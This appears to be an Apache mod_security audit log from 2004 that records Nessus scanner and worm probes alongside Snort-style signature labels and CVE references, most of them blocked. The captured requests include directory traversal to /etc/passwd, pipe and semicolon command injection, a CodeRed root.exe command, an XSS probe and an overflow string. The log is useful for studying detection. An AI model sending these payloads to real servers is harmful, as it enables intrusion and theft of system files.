Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/exec/" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1256CA-2001-19web-application-attackWEB-IIS CodeRed v2 root.exe access
Request: 68.48.142.117 - - [Tue Mar  9 22:19:35 2004] "GET /scripts/root.exe?/c+dir HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: pausing [/scripts/root.exe] for 50000 ms
----------------------------------------
GET /scripts/root.exe?/c+dir HTTP/1.0
Connnection: close
Host: www
mod_security-message: Access denied with code 200. Pattern match "/root\.exe" at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1286web-application-activityWEB-IIS _mem_bin access
Request: 217.160.165.173 - - [Fri Mar 12 22:30:45 2004] "GET /_mem_bin/ HTTP/1.1" 403 293
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/_mem_bin
----------------------------------------
GET /_mem_bin/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=57
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1288web-application-activityWEB-FRONTPAGE /_vti_bin/ access
Request: 217.160.165.173 - - [Fri Mar 12 22:30:50 2004] "GET /_vti_bin/ HTTP/1.1" 403 293
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/_vti_bin
----------------------------------------
GET /_vti_bin/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=46
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1300BID3361attempted-adminWEB-PHP admin.php file upload attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:42:09 2004] "GET /cgi-bin/admin.php?upload=1&file=config.php&file_name=nessus.txt&wdir=/images/&userfile=config.php&userfile_name=nessus.txt HTTP/1.1" 403 301
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/admin.php
----------------------------------------
GET /cgi-bin/admin.php?upload=1&file=config.php&file_name=nessus.txt&wdir=/images/&userfile=config.php&userfile_name=nessus.txt HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1301BID9270
BID3361
BID7532
attempted-reconWEB-PHP admin.php access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:42 2004] "GET /admin.php HTTP/1.1" 403 293
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/admin.php
----------------------------------------
GET /admin.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1308attempted-reconWEB-CGI sendmessage.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:40 2004] "GET /cgi-bin/sendmessage.cgi HTTP/1.1" 403 307
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/sendmessage.cgi
----------------------------------------
GET /cgi-bin/sendmessage.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=47
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1309CAN-1999-0509
CA-1996-11
attempted-reconWEB-CGI zsh access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:39 2004] "GET /cgi-bin/zsh HTTP/1.1" 403 295
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/zsh
----------------------------------------
GET /cgi-bin/zsh HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=94
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1385BID3727
BID3726
Nessus 10849
web-application-activityWEB-MISC mod-plsql administration access
Request: 217.160.165.173 - - [Fri Mar 12 22:31:00 2004] "GET /admin_/ HTTP/1.1" 403 291
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/admin_
----------------------------------------
GET /admin_/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=25
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1392BID3754
BID3755
attempted-reconWEB-CGI lastlines.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:39 2004] "GET /cgi-bin/lastlines.cgi HTTP/1.1" 403 305
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/lastlines.cgi
----------------------------------------
GET /cgi-bin/lastlines.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=53
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1395BID3759
CAN-2001-1209
web-application-activityWEB-CGI zml.cgi attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:39:14 2004] "GET /cgi-bin/zml.cgi?file=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 403 299
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/zml.cgi
----------------------------------------
GET /cgi-bin/zml.cgi?file=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1400web-application-attackWEB-IIS /scripts/samples/ access
Request: 24.127.175.68 - - [Sat Mar 13 15:13:20 2004] "GET http://pussyman.com/members//scripts/samples/search/webhits.exe;dunno;RainM; HTTP/1.0" 200 566
Handler: proxy-server
Error: mod_security: pausing [http://pussyman.com/members//scripts/samples/search/webhits.exe;dunno;RainM;] for 50000 ms
----------------------------------------
GET http://pussyman.com/members//scripts/samples/search/webhits.exe;dunno;RainM; HTTP/1.0
Cache-Control: no-cache
Connection: close
Host: pussyman.com
Pragma: no-cache
Proxy-Connection: keep-alive
Referer: http://pussyman.com/members//scripts/samples/search/webhits.exe;dunno;RainM;
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
mod_security-message: Access denied with code 200. Pattern match "/scripts/samples/" at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1454CAN-2001-0223
Nessus 10597
attempted-reconWEB-CGI wwwwais access
Request: 217.160.165.173 - - [Fri Mar 12 22:47:41 2004] "GET /cgi-bin/wwwwais HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/wwwwais] for 50000 ms
----------------------------------------
GET /cgi-bin/wwwwais HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/wwwwais" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1455CVE-2000-0432attempted-reconWEB-CGI calender.pl access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:01 2004] "GET /cgi-bin/calendar/calender.pl?config=|cat%20/etc/passwd| HTTP/1.1" 403 312
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/calendar
----------------------------------------
GET /cgi-bin/calendar/calender.pl?config=|cat%20/etc/passwd| HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1468BID1776
CVE-2000-0922
web-application-attackWEB-CGI Web Shopper shopper.cgi attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:38:01 2004] "GET /shopper.cgi?newpage=../../../../../../etc/passwd HTTP/1.1" 403 295
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/shopper.cgi
----------------------------------------
GET /shopper.cgi?newpage=../../../../../../etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1470CAN-2001-0997attempted-reconWEB-CGI listrec.pl access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:20 2004] "GET /cgi-bin/listrec.pl?APP=qmh-news&TEMPLATE=;ls%20/etc| HTTP/1.1" 403 302
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/listrec.pl
----------------------------------------
GET /cgi-bin/listrec.pl?APP=qmh-news&TEMPLATE=;ls%20/etc| HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1471CAN-2001-0271attempted-reconWEB-CGI mailnews.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:35 2004] "GET /cgi-bin/mailnews.cgi HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/mailnews.cgi
----------------------------------------
GET /cgi-bin/mailnews.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1473CAN-2001-0232attempted-reconWEB-CGI newsdesk.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:21 2004] "GET /cgi-bin/newsdesk.cgi?t=../../../../../../etc/passwd HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/newsdesk.cgi
----------------------------------------
GET /cgi-bin/newsdesk.cgi?t=../../../../../../etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1476CAN-2001-1130attempted-reconWEB-CGI sdbsearch.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:40:05 2004] "GET /cgi-bin-sdb/sdbsearch.cgi HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/cgi-bin-sdb/sdbsearch.cgi] for 50000 ms
----------------------------------------
GET /cgi-bin-sdb/sdbsearch.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/sdbsearch\.cgi" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1478attempted-reconWEB-CGI swc access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:24 2004] "GET /cgi-bin/swc?ctr=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX HTTP/1.1" 403 295
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/swc
----------------------------------------
GET /cgi-bin/swc?ctr=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1479Nessus 10696
BID2890
CVE-2001-0805
web-application-attackWEB-CGI ttawebtop.cgi arbitrary file attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:42:35 2004] "GET /ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../etc/passwd HTTP/1.1" 403 298
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/ttawebtop.cgi
----------------------------------------
GET /ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1480BID2890
Nessus 10696
BID2890
CVE-2001-0805
attempted-reconWEB-CGI ttawebtop.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:43 2004] "GET /cgi-bin/ttawebtop.cgi HTTP/1.1" 403 305
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/ttawebtop.cgi
----------------------------------------
GET /cgi-bin/ttawebtop.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=21
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1481Nessus 10290attempted-reconWEB-CGI upload.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:54 2004] "GET /cgi-bin/upload.cgi HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/upload.cgi] for 50000 ms
----------------------------------------
GET /cgi-bin/upload.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/upload\.cgi" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1482Nessus 10294attempted-reconWEB-CGI view_source access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:16 2004] "GET /view_source?../../../../../../../../../etc/passwd HTTP/1.1" 403 295
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/view_source
----------------------------------------
GET /view_source?../../../../../../../../../etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1486web-application-activityWEB-IIS ctss.idc access
Request: 217.160.165.173 - - [Fri Mar 12 22:40:58 2004] "GET /scripts/tools/ctss.idc HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: Warning. Pattern match "/ctss\.idc" at THE_REQUEST.
----------------------------------------
GET /scripts/tools/ctss.idc HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/*\.idc" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1487web-application-activityWEB-IIS /iisadmpwd/aexp2.htr access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:48 2004] "GET /iisadmpwd/aexp2.htr HTTP/1.1" 403 303
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/iisadmpwd
----------------------------------------
GET /iisadmpwd/aexp2.htr HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1488CAN-2001-0305
BID2385
Nessus 10639
web-application-attackWEB-CGI store.cgi directory traversal attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:37:31 2004] "GET /cgi-bin/store.cgi?StartID=../../../../../../../../../etc/passwd%00.html HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: Invalid character detected [0]
----------------------------------------
GET /cgi-bin/store.cgi?StartID=../../../../../../../../../etc/passwd%00.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1493web-application-activityWEB-MISC RBS ISP /newuser access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:11 2004] "GET /newuser HTTP/1.1" 404 287
Handler: (null)
Error: mod_security: Warning. Pattern match "/newuser" at THE_REQUEST.
----------------------------------------
GET /newuser HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/newuser" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1495BID3175
CAN-2001-1115
web-application-activityWEB-CGI SIX webboard generate.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:04 2004] "GET /cgi-bin/webboard/generate.cgi HTTP/1.1" 404 309
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/generate\.cgi" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/webboard/generate.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/generate\.cgi" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1497web-application-attackWEB-MISC cross site scripting attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:30:26 2004] "GET http://xxxxxxxxxxx./<SCRIPT>alert('Vulnerable')</SCRIPT>.shtml HTTP/1.1" 403 357
Handler: proxy-server
Error: client denied by server configuration: proxy:http://xxxxxxxxxxx./&lt;SCRIPT&gt;alert('Vulnerable')&lt;/SCRIPT&gt;.shtml
----------------------------------------
GET http://xxxxxxxxxxx./<SCRIPT>alert('Vulnerable')</SCRIPT>.shtml HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1499Nessus 10778web-application-activityWEB-MISC SiteScope Service access
Request: 217.160.165.173 - - [Fri Mar 12 22:46:03 2004] "GET /SiteScope/cgi/go.exe/SiteScope?page=eventLog&machine=&logName=System&account=administrator HTTP/1.1" 404 310
Handler: (null)
Error: mod_security: Warning. Pattern match "/SiteScope/cgi/go\.exe/SiteScope" at THE_REQUEST.
----------------------------------------
GET /SiteScope/cgi/go.exe/SiteScope?page=eventLog&machine=&logName=System&account=administrator HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/SiteScope/cgi/go\.exe/SiteScope" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1501CAN-2001-0561
Nessus 10669
web-application-attackWEB-CGI a1stats a1disp3.cgi directory traversal attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:38:50 2004] "GET /cgi-bin/a1disp3.cgi?/../../../../../../etc/passwd HTTP/1.1" 403 303
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/a1disp3.cgi
----------------------------------------
GET /cgi-bin/a1disp3.cgi?/../../../../../../etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1508cve ,CAN-1999-0885web-application-activityWEB-CGI alibaba.pl access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:25 2004] "GET /cgi-bin/alibaba.pl HTTP/1.1" 404 298
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/alibaba\.pl" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/alibaba.pl HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/alibaba\.pl" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1511CVE-1999-0947
Nessus 10016
web-application-activityWEB-CGI test.bat access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:35 2004] "GET /test.bat?|type%20c:\winnt\win.ini HTTP/1.1" 404 288
Handler: (null)
Error: mod_security: Warning. Pattern match "/test\.bat" at THE_REQUEST.
----------------------------------------
GET /test.bat?|type%20c:\winnt\win.ini HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
